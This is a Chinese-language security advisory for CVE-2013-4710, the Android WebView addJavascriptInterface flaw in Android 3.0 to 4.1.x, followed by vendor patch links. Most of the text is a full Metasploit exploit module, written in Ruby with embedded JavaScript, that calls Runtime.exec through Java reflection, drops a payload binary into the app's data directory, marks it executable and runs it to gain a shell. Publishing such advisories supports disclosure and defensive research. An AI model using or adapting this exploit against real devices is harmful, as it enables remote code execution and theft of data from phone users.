发布日期：2013-09-16
更新日期：2013-09-16

受影响系统：

Google Android 3.0-4.1.x

描述：

---

BUGTRAQ  ID: 62512
CVE(CAN) ID: CVE-2013-4710

Android是基于Linux开放性内核的操作系统，是Google公司在2007年11月5日公布的手机操作系统。

Google Android 3.0－4.1.x版本没有正确实现WebView类，远程攻击者通过构造的网页，利用此漏洞可执行任意JS对象或造成拒绝服务。

<*来源：Neil Bergman
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_flavor  => "Android",
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => %Q|
      for (i in top) {
        try {
          top[i].getClass().forName('java.lang.Runtime');
          is_vuln = true; break;
        } catch(e) {}
      }
    |
  })

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description' => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'     => MSF_LICENSE,
      'Author'      => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'     => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
                'addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
                'addjavascriptinterface-remote-code-execution/']
      ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_ARMLE,
      'DefaultOptions' => { 'PrependFork' => true },
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DisclosureDate' => 'Dec 21 2012',
      'DefaultTarget'  => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :os_flavor  => "Android",
        :arch       => ARCH_ARMLE
      }
    ))
  end

  def on_request_uri(cli, req)
    if req.uri.end_with?('js')
      print_status("Serving javascript")
      send_response(cli, js, 'Content-type' => 'text/javascript')
    else
      super
    end
  end

  def on_request_exploit(cli, req, browser)
    print_status("Serving exploit HTML")
    send_response_html(cli, html)
  end

  def js
    %Q|
      function exec(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the runtime so we can exec
        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
        var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";

        // get the process name, which will give us our data path
        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
        var ch, path = '/data/data/';
        while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
        path += '/#{Rex::Text.rand_text_alpha(8)}';

        // build the binary, chmod it, and execute it
        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
        m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
        m.invoke(null, null).exec([path]);

        return true;
      }

      for (i in top) { if (exec(top[i]) === true) break; }
    |
  end

  def html
    "<!doctype html><html><body><script>#{js}</script></body></html>"
  end
end

建议：

---

厂商补丁：

Google
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://emobile.jp/products/sh/a01sh/systemsoftware.html
http://jvn.jp/en/jp/JVN53768697/397327/index.html
http://jvn.jp/en/jp/JVN53768697/995293/index.html
http://jvn.jp/en/jp/JVN53768697/995312/index.html

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